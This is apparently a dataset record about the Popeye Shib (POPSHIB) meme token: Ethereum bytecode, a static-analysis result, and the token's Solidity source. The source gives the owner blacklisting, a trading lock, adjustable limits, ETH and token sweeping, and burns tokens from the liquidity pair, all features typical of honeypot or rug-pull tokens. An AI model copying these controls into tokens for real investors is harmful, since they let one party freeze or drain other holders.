ffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156118c057600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119d357600080fd5b80600154101515156119e457600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611a5357600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611c3d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515611c1b57600080fd5b6102c65a03f11515611c2c57600080fd5b505050604051805190509050611c4a565b611c478383612a3c565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cd157600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e0e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611e8557806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ee557600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611f3d57600080fd5b611f4682611237565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60406004810160003690501015151561202457600080fd5b600082141580156120b257506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1515156120be57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b60008060006060600481016000369050101515156121c657600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935061226e61271061226060035488612a0190919063ffffffff16565b612ac390919063ffffffff16565b92506004548311156122805760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84101561233c576122bb8585612ade90919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61234f8386612ade90919063ffffffff16565b91506123a385600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ade90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061243882600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af790919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008311156125e2576124f783600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af790919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806040600481016000369050101515156126b457600080fd5b6126dd6127106126cf60035487612a0190919063ffffffff16565b612ac390919063ffffffff16565b92506004548311156126ef5760045492505b6127028385612ade90919063ffffffff16565b915061275684600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ade90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127eb82600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115612995576128aa83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af790919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000806000841415612a165760009150612a35565b8284029050828482811515612a2757fe5b04141515612a3157fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612ad157fe5b0490508091505092915050565b6000828211151515612aec57fe5b818303905092915050565b6000808284019050838110151515612b0b57fe5b80915050929150505600a165627a7a7230582042c4f400e8e58267a3e600ae5ec120c345a726c246689034a9969a16d64e418e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
6,879
0xEf573591FE164427D5fd4B11F62dF47c06b66E88
/* __________ _________.__ ._____. \______ \____ ______ ____ ___.__. ____ / _____/| |__ |__\_ |__ | ___/ _ \\____ \_/ __ < | |/ __ \ \_____ \ | | \| || __ \ | | ( <_> ) |_> > ___/\___ \ ___/ / \| Y \ || \_\ \ |____| \____/| __/ \___ > ____|\___ > /_______ /|___| /__||___ / |__| \/\/ \/ \/ \/ \/ https://t.me/PopShib */ pragma solidity >=0.7.0 <0.8.0; // SPDX-License-Identifier: Unlicensed abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract POPSHIB is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => uint256) private _lastTX; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isBlacklisted; address[] private _excluded; bool public tradingLive = false; uint256 private _totalSupply = 1300000000 * 10**9; uint256 public _totalBurned; string private _name = "Popeye Shib"; string private _symbol = "POPSHIB"; uint8 private _decimals = 9; address payable private _projWallet; uint256 public firstLiveBlock; uint256 public _spinach = 3; uint256 public _liquidityMarketingFee = 10; uint256 private _previousSpinach = _spinach; uint256 private _previousLiquidityMarketingFee = _liquidityMarketingFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public antiBotLaunch = true; uint256 public _maxTxAmount = 6500000 * 10**9; uint256 public _maxHoldings = 65000000 * 10**9; bool public maxHoldingsEnabled = true; bool public maxTXEnabled = true; bool public antiSnipe = true; bool public extraCalories = true; bool public cooldown = true; uint256 public numTokensSellToAddToLiquidity = 13000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _balance[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Uni V2 // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function totalBurned() public view returns (uint256) { return _totalBurned; } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; } function setProjWallet(address payable _address) external onlyOwner { _projWallet = _address; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount * 10**9; } function setMaxHoldings(uint256 maxHoldings) external onlyOwner() { _maxHoldings = maxHoldings * 10**9; } function setMaxTXEnabled(bool enabled) external onlyOwner() { maxTXEnabled = enabled; } function setMaxHoldingsEnabled(bool enabled) external onlyOwner() { maxHoldingsEnabled = enabled; } function setAntiSnipe(bool enabled) external onlyOwner() { antiSnipe = enabled; } function setCooldown(bool enabled) external onlyOwner() { cooldown = enabled; } function setExtraCalories(bool enabled) external onlyOwner() { extraCalories = enabled; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function claimETH (address walletaddress) external onlyOwner { // make sure we capture all ETH that may or may not be sent to this contract payable(walletaddress).transfer(address(this).balance); } function claimAltTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function blacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = true; } function removeFromBlacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = false; } function getIsBlacklistedStatus(address _address) external view returns (bool) { return _isBlacklisted[_address]; } function allowtrading() external onlyOwner() { tradingLive = true; firstLiveBlock = block.number; } function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _eatSpinach(address _account, uint _amount) private { require( _amount <= balanceOf(_account)); _balance[_account] = _balance[_account].sub(_amount); _totalSupply = _totalSupply.sub(_amount); _totalBurned = _totalBurned.add(_amount); emit Transfer(_account, address(0), _amount); } function _projectBoost(uint _amount) private { _balance[address(this)] = _balance[address(this)].add(_amount); } function removeAllFee() private { if(_spinach == 0 && _liquidityMarketingFee == 0) return; _previousSpinach = _spinach; _previousLiquidityMarketingFee = _liquidityMarketingFee; _spinach = 0; _liquidityMarketingFee = 0; } function restoreAllFee() private { _spinach = _previousSpinach; _liquidityMarketingFee = _previousLiquidityMarketingFee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlacklisted[from] && !_isBlacklisted[to]); if(!tradingLive){ require(from == owner()); // only owner allowed to trade or add liquidity } if(maxTXEnabled){ if(from != owner() && to != owner()){ require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } } if(cooldown){ if( to != owner() && to != address(this) && to != address(uniswapV2Router) && to != uniswapV2Pair) { require(_lastTX[tx.origin] <= (block.timestamp + 30 seconds), "Cooldown in effect"); _lastTX[tx.origin] = block.timestamp; } } if(antiSnipe){ if(from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ require( tx.origin == to); } } if(maxHoldingsEnabled){ if(from == uniswapV2Pair && from != owner() && to != owner() && to != address(uniswapV2Router) && to != address(this)) { uint balance = balanceOf(to); require(balance.add(amount) <= _maxHoldings); } } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount){ contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) { contractTokenBalance = numTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } if(from == uniswapV2Pair && to != address(this) && to != address(uniswapV2Router)){ _spinach = 3; _liquidityMarketingFee = 10; } else { _spinach = 10; _liquidityMarketingFee = 3; } _tokenTransfer(from,to,amount,takeFee); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(antiBotLaunch){ if(block.number <= firstLiveBlock && sender == uniswapV2Pair && recipient != address(uniswapV2Router) && recipient != address(this)){ _isBlacklisted[recipient] = true; } } if(!takeFee) removeAllFee(); uint256 spinachToEat = amount.mul(_spinach).div(100); uint256 projectBoost = amount.mul(_liquidityMarketingFee).div(100); uint256 amountWithNoSpinach = amount.sub(spinachToEat); uint256 amountTransferred = amount.sub(projectBoost).sub(spinachToEat); _eatSpinach(sender, spinachToEat); _projectBoost(projectBoost); _balance[sender] = _balance[sender].sub(amountWithNoSpinach); _balance[recipient] = _balance[recipient].add(amountTransferred); if(extraCalories && sender != uniswapV2Pair && sender != address(this) && sender != address(uniswapV2Router) && (recipient == address(uniswapV2Router) || recipient == uniswapV2Pair)) { _eatSpinach(uniswapV2Pair, spinachToEat); } emit Transfer(sender, recipient, amountTransferred); if(!takeFee) restoreAllFee(); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 tokensForLiq = (contractTokenBalance.div(5)); uint256 half = tokensForLiq.div(2); uint256 toSwap = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(toSwap); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(half, newBalance); payable(_projWallet).transfer(address(this).balance); emit SwapAndLiquify(half, newBalance, half); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } }
0x6080604052600436106102e85760003560e01c806370a0823111610190578063a6334231116100dc578063dcebf63b11610095578063ebb2b6451161006f578063ebb2b64514610fea578063ec28438a1461103b578063f9f92be414611076578063fd01bd4c146110c7576102ef565b8063dcebf63b14610ee7578063dd62ed3e14610f14578063ea2f0b3714610f99576102ef565b8063a633423114610d9f578063a9059cbb14610db6578063c41ba81014610e27578063c49b9a8014610e54578063d12a768814610e91578063d89135cd14610ebc576102ef565b80637e66c0b9116101495780638da5cb5b116101235780638da5cb5b14610c2057806395d89b4114610c6157806395f6f56714610cf1578063a457c2d714610d2e576102ef565b80637e66c0b914610b7957806381a6731a14610bca578063875e7f1014610bf5576102ef565b806370a0823114610a17578063715018a614610a7c578063725e076914610a93578063764d72bf14610ad0578063787a08a614610b215780637d1db4a514610b4e576102ef565b8063313ce5671161024f57806349bd5a5e116102085780635342acb4116101e25780635342acb4146108e7578063537df3b61461094e5780635ae9e94b1461099f578063692337e2146109da576102ef565b806349bd5a5e1461084c5780634a74bb021461088d5780634e45e92a146108ba576102ef565b8063313ce5671461068357806339509351146106b15780633f9b760714610722578063413550e314610793578063423ad375146107d0578063437823ec146107fb576102ef565b80631694505e116102a15780631694505e146104e157806316d624a51461052257806318160ddd1461055f57806323b872dd1461058a57806329e04b4a1461061b5780632fd739bb14610656576102ef565b806306fdde03146102f4578063084e4f8a14610384578063095d2d33146103eb578063095ea7b31461041657806311704f521461048757806312db0016146104b4576102ef565b366102ef57005b600080fd5b34801561030057600080fd5b506103096110f2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561034957808201518184015260208101905061032e565b50505050905090810190601f1680156103765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561039057600080fd5b506103d3600480360360208110156103a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611194565b60405180821515815260200191505060405180910390f35b3480156103f757600080fd5b506104006111ea565b6040518082815260200191505060405180910390f35b34801561042257600080fd5b5061046f6004803603604081101561043957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111f0565b60405180821515815260200191505060405180910390f35b34801561049357600080fd5b5061049c61120e565b60405180821515815260200191505060405180910390f35b3480156104c057600080fd5b506104c9611221565b60405180821515815260200191505060405180910390f35b3480156104ed57600080fd5b506104f6611234565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052e57600080fd5b5061055d6004803603602081101561054557600080fd5b81019080803515159060200190929190505050611258565b005b34801561056b57600080fd5b5061057461133d565b6040518082815260200191505060405180910390f35b34801561059657600080fd5b50610603600480360360608110156105ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611347565b60405180821515815260200191505060405180910390f35b34801561062757600080fd5b506106546004803603602081101561063e57600080fd5b8101908080359060200190929190505050611420565b005b34801561066257600080fd5b5061066b6114f8565b60405180821515815260200191505060405180910390f35b34801561068f57600080fd5b5061069861150b565b604051808260ff16815260200191505060405180910390f35b3480156106bd57600080fd5b5061070a600480360360408110156106d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611522565b60405180821515815260200191505060405180910390f35b34801561072e57600080fd5b506107916004803603604081101561074557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115d5565b005b34801561079f57600080fd5b506107ce600480360360208110156107b657600080fd5b810190808035151590602001909291905050506117ef565b005b3480156107dc57600080fd5b506107e56118d4565b6040518082815260200191505060405180910390f35b34801561080757600080fd5b5061084a6004803603602081101561081e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118da565b005b34801561085857600080fd5b506108616119fd565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561089957600080fd5b506108a2611a21565b60405180821515815260200191505060405180910390f35b3480156108c657600080fd5b506108cf611a34565b60405180821515815260200191505060405180910390f35b3480156108f357600080fd5b506109366004803603602081101561090a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a47565b60405180821515815260200191505060405180910390f35b34801561095a57600080fd5b5061099d6004803603602081101561097157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a9d565b005b3480156109ab57600080fd5b506109d8600480360360208110156109c257600080fd5b8101908080359060200190929190505050611bc0565b005b3480156109e657600080fd5b50610a15600480360360208110156109fd57600080fd5b81019080803515159060200190929190505050611c98565b005b348015610a2357600080fd5b50610a6660048036036020811015610a3a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d7d565b6040518082815260200191505060405180910390f35b348015610a8857600080fd5b50610a91611dc6565b005b348015610a9f57600080fd5b50610ace60048036036020811015610ab657600080fd5b81019080803515159060200190929190505050611f4c565b005b348015610adc57600080fd5b50610b1f60048036036020811015610af357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612031565b005b348015610b2d57600080fd5b50610b36612143565b60405180821515815260200191505060405180910390f35b348015610b5a57600080fd5b50610b63612156565b6040518082815260200191505060405180910390f35b348015610b8557600080fd5b50610bc860048036036020811015610b9c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061215c565b005b348015610bd657600080fd5b50610bdf61226e565b6040518082815260200191505060405180910390f35b348015610c0157600080fd5b50610c0a612274565b6040518082815260200191505060405180910390f35b348015610c2c57600080fd5b50610c3561227a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c6d57600080fd5b50610c766122a3565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610cb6578082015181840152602081019050610c9b565b50505050905090810190601f168015610ce35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610cfd57600080fd5b50610d2c60048036036020811015610d1457600080fd5b81019080803515159060200190929190505050612345565b005b348015610d3a57600080fd5b50610d8760048036036040811015610d5157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061242a565b60405180821515815260200191505060405180910390f35b348015610dab57600080fd5b50610db46124f7565b005b348015610dc257600080fd5b50610e0f60048036036040811015610dd957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506125e3565b60405180821515815260200191505060405180910390f35b348015610e3357600080fd5b50610e3c612601565b60405180821515815260200191505060405180910390f35b348015610e6057600080fd5b50610e8f60048036036020811015610e7757600080fd5b81019080803515159060200190929190505050612614565b005b348015610e9d57600080fd5b50610ea6612732565b6040518082815260200191505060405180910390f35b348015610ec857600080fd5b50610ed1612738565b6040518082815260200191505060405180910390f35b348015610ef357600080fd5b50610efc612742565b60405180821515815260200191505060405180910390f35b348015610f2057600080fd5b50610f8360048036036040811015610f3757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612755565b6040518082815260200191505060405180910390f35b348015610fa557600080fd5b50610fe860048036036020811015610fbc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127dc565b005b348015610ff657600080fd5b506110396004803603602081101561100d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128ff565b005b34801561104757600080fd5b506110746004803603602081101561105e57600080fd5b8101908080359060200190929190505050612a0b565b005b34801561108257600080fd5b506110c56004803603602081101561109957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ae3565b005b3480156110d357600080fd5b506110dc612c06565b6040518082815260200191505060405180910390f35b6060600c8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561118a5780601f1061115f5761010080835404028352916020019161118a565b820191906000526020600020905b81548152906001019060200180831161116d57829003601f168201915b5050505050905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60165481565b60006112046111fd612c0c565b8484612c14565b6001905092915050565b600960009054906101000a900460ff1681565b601760009054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b611260612c0c565b73ffffff